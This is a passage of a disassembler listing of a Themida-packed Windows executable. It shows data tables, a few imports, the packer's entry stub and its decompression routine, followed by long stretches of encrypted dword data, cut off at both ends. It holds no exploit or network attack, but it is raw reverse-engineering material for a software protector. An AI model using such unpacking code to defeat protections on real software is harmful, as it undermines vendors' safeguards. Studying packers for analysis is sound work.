dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DD384 dd 0 ; DATA XREF: sub_420749+6Ew ; sub_420749+12Bw ... dword_4DD388 dd 0 ; DATA XREF: sub_41ED74+5r ; sub_41ED74+32w dword_4DD38C dd 0 ; DATA XREF: sub_41E742+23Ar ; sub_41E742+25Ar ... dword_4DD390 dd 0 ; DATA XREF: sub_41E742+311w ; sub_41EA6B:loc_41EABBr ... dword_4DD394 dd 0 ; DATA XREF: sub_41E742+22Dr ; sub_41E742+260r ... dword_4DD398 dd 0 ; DATA XREF: sub_41E717r ; sub_41E742+2CBr ... dword_4DD39C dd 0 ; DATA XREF: sub_41E717+8r ; sub_41E742+2D0r ... dword_4DD3A0 dd 0 ; DATA XREF: sub_41BBE2+5Cr ; sub_41BEF3+Fr ... dword_4DD3A4 dd 2450000h ; DATA XREF: sub_41BA91+5Ar ; sub_41BBE2+C0r ... dword_4DD3A8 dd 1 ; DATA XREF: sub_41BA91+Cr ; sub_41BBE2:loc_41BC12r ... dword_4DD3AC dd 142340h ; DATA XREF: ___:0042368Ar ; ___:004237B5r dword_4DD3B0 dd 1 ; DATA XREF: ___:00423780w dword_4DD3B4 dd 1 ; DATA XREF: sub_420B0Dr ; sub_420B0D+11w ... dword_4DD3B8 dd 2450758h ; DATA XREF: sub_41C1B3+3Er ; sub_41D9B3+13r ... dword_4DD3BC dd 2450758h ; DATA XREF: sub_41C1B3+35r ; sub_41C1B3+57r ... dd 310h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DF000h align 2000h _rsrc___ ends ; Section 3. (virtual address 000E0000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4E0000h a7icwCw db '7╗Гw╣\Гw',0 align 4 dd 77345219h, 4 dup(0) dd 0E0050h, 0E0000h, 3 dup(0) dd 0E0079h, 0E000Ch, 3 dup(0) db 0 byte_4E0049 db 3 dup(0) ; DATA XREF: ___:004385BCo align 10h aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E1000) ; Virtual size : 000F5000 (1003520.) ; Section size in file : 000F5000 (1003520.) ; Offset to raw data for section: 000E1000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute Themida_ segment para public 'CODE' use32 assume cs:Themida_ ;org 4E1000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 0E91CB612h, 403B3h, 5414Fh, 96172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E1265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00549345 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0054C83E SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0054CAB4 SIZE 00000063 BYTES ; FUNCTION CHUNK AT 0054CB21 SIZE 00000098 BYTES ; FUNCTION CHUNK AT 0054CBEF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0054CC05 SIZE 00000015 BYTES mov eax, 0 pusha or eax, eax jz short loc_4E1086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E1041 popa jmp short loc_4E1076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h db 10h, 4Eh, 0 dt 9.2233720368547758075e18 ; --------------------------------------------------------------------------- loc_4E1041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_4E104E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E106D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E1074 loc_4E106D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E104E ; --------------------------------------------------------------------------- loc_4E1074: ; CODE XREF: start+57j mov edi, eax loc_4E1076: ; CODE XREF: start+1Bj jmp loc_4E1265 ; --------------------------------------------------------------------------- add eax, edi mov ecx, 0E126Ah add ecx, edi jmp short loc_4E1090 ; --------------------------------------------------------------------------- loc_4E1086: ; CODE XREF: start+8j mov eax, offset loc_549345 mov ecx, offset word_4E126A loc_4E1090: ; CODE XREF: start+70j push eax push ecx call sub_4E111B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E1265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh dd 1848C86h dword_4E10F8 dd 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh ; DATA XREF: Themida_:00568749o dd 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E111B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E1127: ; CODE XREF: sub_4E111B:loc_4E113Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E1132: ; CODE XREF: sub_4E111B+7Aj ; sub_4E111B+C3j ... add dl, dl jnz short loc_4E113B mov dl, [esi] inc esi adc dl, dl loc_4E113B: ; CODE XREF: sub_4E111B+19j jnb short loc_4E1127 add dl, dl jnz short loc_4E1146 mov dl, [esi] inc esi adc dl, dl loc_4E1146: ; CODE XREF: sub_4E111B+24j jnb short loc_4E1197 xor eax, eax add dl, dl jnz short loc_4E1153 mov dl, [esi] inc esi adc dl, dl loc_4E1153: ; CODE XREF: sub_4E111B+31j jnb loc_4E1238 add dl, dl jnz short loc_4E1162 mov dl, [esi] inc esi adc dl, dl loc_4E1162: ; CODE XREF: sub_4E111B+40j adc eax, eax add dl, dl jnz short loc_4E116D mov dl, [esi] inc esi adc dl, dl loc_4E116D: ; CODE XREF: sub_4E111B+4Bj adc eax, eax add dl, dl jnz short loc_4E1178 mov dl, [esi] inc esi adc dl, dl loc_4E1178: ; CODE XREF: sub_4E111B+56j adc eax, eax add dl, dl jnz short loc_4E1183 mov dl, [esi] inc esi adc dl, dl loc_4E1183: ; CODE XREF: sub_4E111B+61j adc eax, eax jz short loc_4E118D push edi sub edi, eax mov al, [edi] pop edi loc_4E118D: ; CODE XREF: sub_4E111B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1197: ; CODE XREF: sub_4E111B:loc_4E1146j mov eax, 1 loc_4E119C: ; CODE XREF: sub_4E111B:loc_4E11B0j add dl, dl jnz short loc_4E11A5 mov dl, [esi] inc esi adc dl, dl loc_4E11A5: ; CODE XREF: sub_4E111B+83j adc eax, eax add dl, dl jnz short loc_4E11B0 mov dl, [esi] inc esi adc dl, dl loc_4E11B0: ; CODE XREF: sub_4E111B+8Ej jb short loc_4E119C sub eax, ebx mov ebx, 1 jnz short loc_4E11E3 mov ecx, 1 loc_4E11C0: ; CODE XREF: sub_4E111B:loc_4E11D4j add dl, dl jnz short loc_4E11C9 mov dl, [esi] inc esi adc dl, dl loc_4E11C9: ; CODE XREF: sub_4E111B+A7j adc ecx, ecx add dl, dl jnz short loc_4E11D4 mov dl, [esi] inc esi adc dl, dl loc_4E11D4: ; CODE XREF: sub_4E111B+B2j jb short loc_4E11C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E11E3: ; CODE XREF: sub_4E111B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E11F1: ; CODE XREF: sub_4E111B:loc_4E1205j add dl, dl jnz short loc_4E11FA mov dl, [esi] inc esi adc dl, dl loc_4E11FA: ; CODE XREF: sub_4E111B+D8j adc ecx, ecx add dl, dl jnz short loc_4E1205 mov dl, [esi] inc esi adc dl, dl loc_4E1205: ; CODE XREF: sub_4E111B+E3j jb short loc_4E11F1 cmp eax, 7D00h jnb short loc_4E1228 cmp eax, 500h jb short loc_4E1223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1223: ; CODE XREF: sub_4E111B+F8j cmp eax, 7Fh ja short loc_4E122B loc_4E1228: ; CODE XREF: sub_4E111B+F1j add ecx, 2 loc_4E122B: ; CODE XREF: sub_4E111B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1238: ; CODE XREF: sub_4E111B:loc_4E1153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E1259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1259: ; CODE XREF: sub_4E111B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E111B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E1265: ; CODE XREF: start:loc_4E1076j ; start+9Dj jmp loc_549345 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E126A dw 38E9h ; DATA XREF: start+77o dd 15334F4h, 1EE101BCh, 848B71B8h, 1CEEB2Bh, 98F8BF11h dd 0EF3B848Bh, 10EE22C8h, 3CAA1EBh, 43743FC2h, 908AD233h dd 17EF4EAh, 0B81188ABh, 5201BF46h, 61747365h, 7041CC72h dd 78F42EE2h, 5517C2F9h, 215C9264h, 19C5F77h, 0DFD723h dd 6D656854h, 61706469h, 45F47D8Dh, 5E1DC224h, 35C23645h dd 0C47C7AF7h, 356EDE57h, 0BFFE1003h, 0BF1178CEh, 112E21E2h dd 743DFDAFh, 0C58BC7AFh, 0E860D421h, 815D0A40h, 350301EDh dd 95890628h, 0D08D3A1h, 841F4DB5h, 12D0D85h, 16C9BD83h dd 0C740007h, 0E2E4E88Bh, 3D99B852h, 4470E3C2h, 203E8E24h dd 6A0C0E25h, 29A3E845h, 749A0F68h, 0DF4A0783h, 4B25030Ah dd 0D5D20A89h, 214E921h, 80BE5422h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 56h fsubr st, st(6) add al, 5Ah sub edx, 0DA8B40F1h loc_4E1350: ; CODE XREF: Themida_:004E136Dj mov dword ptr [ebp-28h], 0EB10891h inc eax mov [edi-33827EF8h], ecx sbb byte ptr ds:200F6774h, 8 rep sbb dword ptr [ebx+30h], 45h call dword ptr [edx] inc ebx jmp short loc_4E1350 ; --------------------------------------------------------------------------- db 0C6h dd 2661DC36h, 0C228C9E8h, 810D4604h, 2FF7CC4h, 403A491Ch dd 45018D36h, 85D8B80h, 194485C7h, 0A8D504Ah, 88C3D100h dd 0A8894118h, 0A2BD810Bh, 755D0206h, 282794E3h, 0EC64BA8Dh dd 8A800475h, 90F4BB0Eh, 37ABB85Bh, 0D378540Fh, 80FCCD0h dd 0F7753B4Bh, 47C3AF05h, 624A2446h, 42A2F946h, 8ABA61D1h dd 5FF0D007h, 0FC45EED8h, 4EB4DA0h, 46C8ADA3h, 40C53E80h dd 8436BAF7h, 197DE634h, 3E7FEB0Ch, 0C86D0CF8h, 0E4CF012h dd 4A10A8F4h, 0F06514C1h, 0F803D604h, 0C203E0D1h, 33012896h dd 301C8ADBh, 72CCFB80h, 390AC30Ah, 0EBD30577h, 142226EFh dd 0D67617Fh, 8F6660Ah, 0C3F4F51Eh, 0C310EA0Ah, 0B72411Ah dd 77460A0Dh, 21EA2406h, 87F05D01h, 7D83F4ECh, 0B0720231h dd 76C00CB3h, 0AA64A576h, 0E01CF826h, 0A8A08D76h, 0FC0A553Bh dd 0BD78820Fh, 0AA1BB09Ch, 0BA0EE538h, 0AB90E08h, 0BD84FC70h dd 0FE003780h, 7549470Fh, 22B9FA1Ch, 0BBC76A5Dh, 0F1D11101h dd 76DBEB82h, 868E0002h, 7293975h, 36E06551h, 8A7317FDh dd 0E94FBC26h, 8C590191h, 88D10DAh, 8E1813BBh, 2CFD0D02h dd 6761C307h, 8230C28Ch, 0CB58DC1h, 12901062h, 0EA305327h dd 0FD40D0Bh, 6ACF002Fh, 168B6961h, 7ACC5CBDh, 1FBCDCF1h dd 0C7D8B6C6h, 0C34CB8Ch, 4E003956h, 100F765Bh, 3E3D51B8h dd 3B3BD104h, 75584630h, 0F6D82E09h, 0AEC480Eh, 69065E4h dd 0C5840065h, 88968E05h, 1E5382A9h, 29C20415h, 5718C03h dd 0E6EE782h, 2BFFCCAAh, 4773081h, 0C1341D22h, 33F98406h dd 41BC2075h, 0D90ADD3Fh, 9F30A0EFh, 99EC4138h, 0FFCC7F8Ch dd 450C40F9h, 60A5E9FEh, 52C46200h, 8254D8Ch, 0B1AA8211h dd 0D05AAB4Ch, 568A1384h, 825E60E8h, 81AA93EEh, 4F510984h dd 13B9AA8Ah, 97522320h, 0EA518543h, 480E0A00h, 7B600Dh dd 1EC4825Ch, 673CE6C1h, 6BDA8D01h, 4E95701h, 5F212F87h dd 758A21C4h, 45A94325h, 21150830h, 50C45747h, 3FD9F446h dd 4464E281h, 0C45C6154h, 8C5D8AC8h, 441944h, 9E28C454h dd 0B7DD22Ch, 8610CA0Ah, 0E041D839h, 16E4C834h, 68FCD425h dd 9BEAFA83h, 52760D64h, 0C8C45A61h, 448C4D8Ah, 5200421Eh dd 58568DC4h, 767ACFBFh, 0A48978D0h, 2F015535h, 0C45E30FEh dd 6D468AE4h, 46001A22h, 5953C456h, 246633A7h, 40C9E9D4h dd 3D74C778h, 0CBF01515h, 80E63C0Ch, 29FE5D97h, 38EC81A7h dd 0E9A45CCAh, 3A6D41CDh, 0DD2DC835h, 93CDE0Fh, 1EF9C039h dd 185CA236h, 2D0FE949h, 0F038F64Ah, 0B8600EE6h, 9016C0A6h dd 30735599h, 8A5AD98Ch, 2E61D686h, 38310EAh, 0E08C3D8Ch dd 15410E1Ch, 0CEE85210h, 12423A5Fh, 4DEA0394h, 53D7FB00h dd 9FB1C94Ah, 6079E600h, 8050B77h, 58CF00B5h, 0F9C0105Bh dd 3431C382h, 0BFF63676h, 8FFDB149h, 681AF48h, 1D8C09CDh dd 0F4043233h, 435C22BBh, 40CC3482h, 0FE8C15Ch, 70B53E61h dd 5037EC00h, 0B90E4297h, 2C1B6738h, 3061408Ah, 0BF5914EAh dd 0E23DD6C8h, 23A680DDh, 70C2989h, 829C0072h, 8E8649CEh dd 830376BAh, 0EA62119Ah, 0B43D010Eh, 5FB8BD8h, 437BF8F8h dd 0C5510C03h, 0D9EF84DFh, 2B8009E9h, 75218C7h, 626ADF0h dd 0FC09B7C9h, 91418759h, 70241C6Eh, 904E8D16h, 1685E653h dd 0C0E97E3Fh, 2094DD0Bh, 6500AA84h, 7EDA3A7Ch, 0EA7A2172h dd 5A59003Eh, 476F50E5h, 0BA00AACDh, 347B4323h, 1F7D4D17h dd 0DB761E57h, 13912012h, 39F5D497h, 88D1B107h, 0CE133FE9h dd 1153E834h, 66550040h, 8EC8CC03h, 38C0F41Ch, 0F9AAAB7Fh dd 1327CA9h, 68BFF3DCh, 80616F12h, 43ECEF59h, 1D27B6ACh dd 5C6D0867h, 0BE9B408Ch, 42D5EAC5h, 47E51E0Ch, 6F3051h dd 2A6D32DBh, 0E0197860h, 1FF3F91Ch, 54E6C286h, 0ED0300D1h dd 35ABB22Fh, 4A0071C4h, 754E1FE1h, 3DCDDFA0h, 516246C6h dd 39C083A5h, 0C901E1BBh, 0D1541879h, 80E8291Eh, 380960E3h dd 0FFBA6F6Dh, 4623BD1Dh, 0C191EF43h, 0F145B3CCh, 0D060F740h dd 0B0261B92h, 6C9058C7h, 417AF48Fh, 0AEE4DF01h, 57E258CEh dd 28B0798Ch, 4C002A29h, 2795AC71h, 3B72D9BFh, 4D00CD62h dd 84F9900Fh, 403546E9h, 0B60730D0h, 0C6A03E8Ch, 3F8108ECh dd 688033AFh, 8D184BB9h, 61035F15h, 0B84A14A2h, 8087A7ACh dd 8EF0085Dh, 2D4F00B0h, 0AB3C1398h, 5E00C130h, 596DD18Bh dd 0B125CAh, 18CF8489h, 862D1B87h, 4A0F1500h, 2FC1C20Bh dd 92930E6h, 93832A10h, 0DA287663h, 3790E11h, 0C901421h dd 190B2612h, 331E0E09h, 0C1406CA5h, 0E6573927h, 0C566B51Fh dd 60F762CFh, 8775769Eh, 562B00A0h, 89AC39A8h, 0B66CFF25h dd 40961838h, 9E61DEA1h, 0A79FB0E9h, 189BE180h, 8A4605D3h dd 4FAB2D03h, 0D4FBA569h, 0BF1FE981h, 4066489Ch, 0CC18375h dd 0EB063CDAh, 1129964Fh, 729105E9h, 419EB047h, 8BB161A0h dd 383840A2h, 0AA602902h, 2368EE11h, 0E6A7002Ah, 0AFF75837h dd 5B00ECB6h, 0FABF07D4h, 29002D1h, 432C768h, 90A30926h dd 610CB580h, 947AFDD0h, 3574383Fh, 68CEF58Fh, 3B4CDCE0h dd 2B008A18h, 0A31D1A28h, 30694625h, 0AD49114Ah, 2009CEEh dd 3CB07FD7h, 0CC8AB98h, 0EDD84A1Bh, 191FBA38h, 71F079C2h dd 0F4A4DB24h, 6DE2001Fh, 0AFBAD070h, 21C1A893h, 21C1B479h dd 10BDF842h, 6040349Bh, 0A9861A57h, 0DD001815h, 36B58E4Fh dd 0AB2C10C3h, 3288E7Bh, 0F82B1907h, 0C7F90A1Ah, 0E6C040B2h dd 0B0297DECh, 9F10DCE5h, 8C230484h, 66842220h, 4042FA89h dd 0EEE39409h, 0C3040F96h, 73B48F26h, 0C005EA18h, 90428431h dd 6A007581h, 4107771Dh, 0BB322Bh, 3345D0B9h, 0A510D4Dh dd 0B8B31612h, 0E3A00C61h, 6081B6EDh, 3948BB4h, 0F0D18163h dd 62FB9329h, 864F1085h, 0BB500BDh, 227A32Eh, 0DDAF18C7h dd 0E0161C4h, 95122811h, 3E02099h, 0DB9C8A75h, 0C305565h dd 102B7C12h, 68602503h, 90B1D119h, 0EFC183B4h, 385424D7h dd 0AFB9801Dh, 4196B108h, 0E732C9F9h, 644499E2h, 51E62D0Ch dd 15949813h, 6C767784h, 72B39B08h, 8DDE330Bh, 12C92817h dd 0BB088180h, 0EACF3E31h, 709AF100h, 0A684A355h, 0C2EE173Dh dd 0A1B709FBh, 86E6D402h, 8F1B106h, 0E7AB2A69h, 0C800CD9Fh dd 5DD4A09Eh, 767F0F2Bh, 9166C3C2h, 0AA0CC1A8h, 300CAF94h dd 308E18A1h, 0A324902Dh, 0A2004491h, 6B5AB2A5h, 39BB6175h dd 0CDDB945Fh, 1380809Fh, 18D3CA48h, 4A0500E3h, 2D412BFCh dd 14608596h, 16A82350h, 1A990015h, 37F84D1Bh, 0D500E3E2h dd 5C700464h, 689ED6h, 0C22DDF6Ah, 4055A193h, 0E7360E07h dd 90F76D8Fh, 88AA7843h, 97D71B6h, 0F57AC209h, 28950580h dd 2100AB72h, 5D457075h, 0B301C52h, 0C8565993h, 90FB8307h dd 90F86974h, 0E2A76400h, 0E79EC501h, 519B04BFh, 81FD041Bh dd 0E460159Ch, 80A0050Fh, 0ECA0A48Fh, 9176B3A1h, 41DC35F1h dd 141109C8h, 0C29F1840h, 92AD7F42h, 0FCB77108h, 9380005Eh dd 8F5C2941h, 3B329CA3h, 70A616Bh, 0C85230A2h, 6C041A02h dd 20B444C5h, 60804C88h, 0D53851AAh, 0DE061132h, 0A97F7B58h dd 0CB450119h, 86E88237h, 10B2F138h, 1DA28D6h, 6BAADD34h dd 0D17C3E71h, 0D70BDCA8h, 418DC98h, 69696729h, 0A43101E8h dd 0D95A670h, 5BE0802Ch, 0ED962F8Ah, 5610C006h, 0EE909FB3h dd 19482898h, 97ACC2B8h dd 552F0067h, 9B010D83h, 0C39EC2FBh, 1820B26Eh, 24AF492Ch dd 0A0BE0C00h, 129A1975h, 0E6001890h, 0F78F8711h, 2635903Dh dd 91C411Bh, 0B40007C2h, 166A9CA2h, 3C45232Ch, 4CEC801h dd 944A1427h, 4C3BB500h, 0EC9D975Bh, 2AEF370Ch, 2479B6h dd 47877A4Fh, 831353D3h, 763D0C1Eh, 27855780h, 0A47E1Fh dd 9BA760BBh, 251172C1h, 1FCEE49h, 33A0C220h, 60348FFAh dd 0D6B039C8h, 2F8B2984h, 0B2F89004h, 97E65872h, 57E43254h dd 4185EB0h, 12B19921h, 0E00F412Fh, 0A1C0A529h, 77272BABh dd 0F118A16Bh, 0D8FC110h, 0E9E6F18Bh, 0C9D417D5h, 9F760052h dd 1FAB4950h, 0B21CE7CDh, 89C95F60h, 1460003Bh, 44178C91h dd 0E920FE72h, 5C24001Dh, 0A3292547h, 20DF096Fh, 6D60E0A8h dd 0DE2F6179h, 4800929Dh, 70841817h, 0E928CDB2h, 6BFD8Ch dd 41668E33h, 0BE1DC9F5h, 929C0F31h, 411EAF44h, 0EEAEC021h dd 984047F1h, 4D4B9B68h, 11043C0Eh, 80BABB16h, 0D79AC800h dd 0ED89AA62h, 0D8350001h, 9CA42A78h, 0E681C300h, 5712BBE3h dd 662C2104h, 8F45142Ch, 0BE40B827h, 7414D8Bh, 0F1C70983h dd 88BFBh, 8C8A0F68h, 0D4261848h, 1827A23Bh, 19153FA3h dd 57889B8Eh, 0CEDB1293h, 30C05E2h, 3494302Bh, 92000196h dd 6157117Dh, 2C29B1F2h, 807C67ABh, 1F9AD40Ch, 5E32B307h dd 29A788A5h, 15E0E4BBh, 8090683Eh, 1E3BA00Ch, 718F708Dh dd 8019C62Dh, 0FF1631B3h, 351DF118h, 3CCB241Eh, 4DC980E0h dd 598329D1h, 0B11450EFh, 44587C8Fh, 2041310h, 7F553A2Dh dd 4050A1h, 0CE70DF02h, 99B05214h, 0B169A560h, 0CC772DBh dd 174A6B58h, 5C05D6F9h, 0CC1D8293h, 0E8091483h, 7E388BFh dd 0ED499A32h, 80189BD8h, 0A3007505h, 5ABF3F71h, 38FD4CCh dd 0E970C61Ch, 0A104FF2Ah, 752B8CAAh, 49D75802h, 1F1D2081h dd 0FB5320EEh, 764A700h, 41ED68BAh, 4C1672D9h, 590EB904h dd 2ACAEE9Eh, 1DC1161Ch, 93F8A28Ch, 96F1F20h, 7F6AC807h dd 3B722448h, 799D0A1Eh, 96E1F941h, 8F437E59h, 8BB09F33h dd 27959Fh, 6F3AC1AAh, 10E9FDB0h, 5D3F1090h, 710F825Eh dd 0C8F42B11h, 0C0AE2A2Ch, 4775A779h, 0A000FEB2h, 92BE817Dh dd 58C21BDFh, 0BC822880h, 0D0C0B7CDh, 8D0675B2h, 154A888Bh dd 80AA09C9h, 8082D86Dh, 98E008EDh, 6A01A0F4h, 0B91ABD46h dd 60204450h, 30704137h, 1225EB15h, 26249030h, 0DBBF401Fh dd 31E5A70Ch, 1DACC03Ch, 1395B24Eh, 9C284262h, 840A11B7h dd 367108h, 900CC870h, 3B241F60h, 0B194503Ah, 348F28B0h dd 32439001h, 6CC0BD6Fh, 985A7020h, 9256094h, 43D73D89h dd 2B9488C1h, 0AC249BE0h, 280A4526h, 4DC780BCh, 0B2BD37h dd 5D1E673Dh, 93E46A44h, 72E63201h, 87258A9Dh, 20064428h dd 50BD9E2Bh, 0D6248D7Ch, 2C3F9C62h, 7184430h, 0CA0C4CC8h dd 70046169h, 3380112Bh, 26EF2596h, 7228E42Eh, 32DE2506h dd 8D89419h, 0D61FA277h, 0FB33B88h, 2C400ACBh, 96923A17h dd 36AF0500h, 0E6A1DDB0h, 40336375h, 0D7CD9B2Eh, 29C1C3CCh dd 975726C1h, 0B830EC10h, 0C0AB79F5h, 0AD978A1h, 90007284h dd 8FA605E6h, 9066A0A2h, 30C957B5h, 10802A88h, 1F5FC715h dd 0E7370042h, 8A9578A6h, 2B18ACD4h, 0AB29369Bh, 0E0A16028h dd 326642D1h, 0FE2F411Eh, 0A0351304h, 222B5CC8h, 7A1BE48Dh dd 0A1B1A1B0h, 0C0515586h, 849A52Ch, 0BC549CE9h, 4881F383h dd 847C9041h, 2BBCE506h, 0C912EA3h, 942598CDh, 1066579h dd 32A323D8h, 28A24821h, 0A60A6722h, 180D9802h, 2EFE2D85h dd 0ED24E040h, 31AF149Eh, 0A71439Ch, 2319E454h, 68C8DCABh dd 100CE4A8h, 0C0356011h, 0C241CA26h, 407E12BFh, 0F330AC20h dd 2201692Eh, 4D83462Ch, 73704A94h, 14550C62h, 0E6899C35h dd 898D352h, 85B74A18h, 42EE8FE0h, 0EC2BB4B8h, 0E42CC4E0h dd 5B1369E8h, 0EC0022B6h, 0E80C2ADBh, 0BD409CAEh, 0ABC8C232h dd 0E57B3020h, 4F80A17h, 98884624h, 1B261066h, 17BC9F88h dd 457B156h, 561CC6Ch, 286CA194h, 67D0A93Eh, 0B60C284Eh dd 9558A4D4h, 129A544h, 71076C0Ah, 3417E215h, 0A280169Ch dd 0DBB8398Ah, 40B3C215h, 111F08A0h, 0BB40949Eh, 702D698Bh dd 0A9990B0Ch, 14901C4Bh, 41C91780h, 0A528CBDAh, 0DC583C6Bh dd 3D7A4222h, 51D4E055h, 2115658h, 83495DFh, 15CA560h dd 8B1C2DCAh, 0C0F5966Ch, 1340AF80h, 42D2136Ah, 0E5F40120h dd 47DA8A9Eh, 0D9BC4A48h, 0AF0C1BEFh, 639184E7h, 20DE1130h dd 0DD062403h, 35A7C91h, 0B092B198h, 0CBE26119h, 0DB0871A9h dd 0A0192588h, 0CF18298Ah, 66609771h, 3D57907Ch, 6289207h dd 60048FC2h, 704118C5h, 8062CA55h, 0B42303D8h, 0F7E68300h dd 79E22C17h, 48DD2099h, 0D82429BCh, 8B09A863h, 80A4C2EDh dd 0A7C27DA0h, 24EF90AAh, 8810AF3Fh, 0DB000AF6h, 0B3AC2217h dd 9E0F00C6h, 0F24FBEB7h, 0DC00A771h, 0C5B50205h, 1D4B0773h dd 5064E0h, 0C0B7AE12h, 8A00FCD7h, 0ACAF2275h, 0E60388h dd 231E49A5h, 0C8DDB104h, 0A9641100h, 0D650B294h, 4C5A1680h dd 0C078001Eh, 6C89C6D5h, 88BE40C7h, 46BF81C1h, 6805D0h dd 1DEBC893h, 4B73C272h, 74C11100h, 0AE52BB5Ah, 0FF0200B2h dd 226295C6h, 3F01C088h, 46B9811Dh, 78626814h, 0EE043FA4h dd 4A3F854h, 8F133AA9h, 90D887BFh, 0EBD09D7Bh, 82AD0507h dd 0EE1F4879h, 604C807Fh, 1BDA580h, 0B888C7CEh, 80ACBB73h dd 7FB7E540h, 0A90853h, 12F8C8AAh, 5670D472h, 7CD64501h dd 903B690Dh, 8DABBFCh, 21A485E2h, 94153C02h, 0A92E00B8h dd 0FE00DBA5h, 7CCE7211h, 0C14454h, 60580B78h, 0DB5166B4h dd 7798E200h, 0CE6ABC74h, 0A6900715h, 88244E7Fh, 3814FC13h dd 0B5ECBA94h, 19C5C00Eh, 8049AE9Ah, 0C8ABA923h, 72140BFEh dd 808348C7h, 4DA874D1h, 0AD00B212h, 0CCF9D84Bh, 0A27362h dd 9E163DACh, 0F254477Ch, 0DE9D0400h, 0D9A748EBh, 565B3C76h dd 6474BB03h, 47D9BC62h, 0B8D0C0C9h, 0A60CA2FEh, 409F1B3Fh dd 67F20E4Ah, 4800C8B2h, 5274C5ADh, 0B907CAF8h, 80564D4Bh dd 0E9CCBB50h, 76620089h, 0F3FB878h, 50717C81h, 0B238077Bh dd 114E16CAh, 0BF8C6Ah, 0B3A46716h, 0E61988h, 224749A6h dd 3CCD9B75h, 0F3724E04h, 69075079h, 0AE559059h, 9903B3ABh dd 226189C5h, 16C1B8B6h, 0BABE3953h, 0AB79398Fh, 0B51CFCE0h dd 470381C6h, 4FB9D343h, 0A7BEB058h, 0FCB3005Ch, 7874B598h dd 1E003AA8h, 5743BBA0h, 38A1A93Eh, 728005D2h, 465580F5h dd 4D00B9C4h, 0BCBD1241h, 0FAD947h, 78306C85h, 82133D63h dd 56BE7C07h, 0DD106806h, 166B0EFEh, 85981D3h, 0B78346ACh dd 82CBBDAFh, 8D0866CAh, 79D0FF04h, 0ECED004Dh, 0DDEB5513h dd 0D1054115h, 8F1116F2h, 0E6C0342Ah, 82A50FE9h, 0B216D61Ch dd 7115ECC0h, 214B019Eh, 8041A2B5h, 27006E34h, 2D09E6CFh dd 515B0D48h, 94F4011Ch, 0F04F3F91h, 8E00425Ah, 373DFB7Ch dd 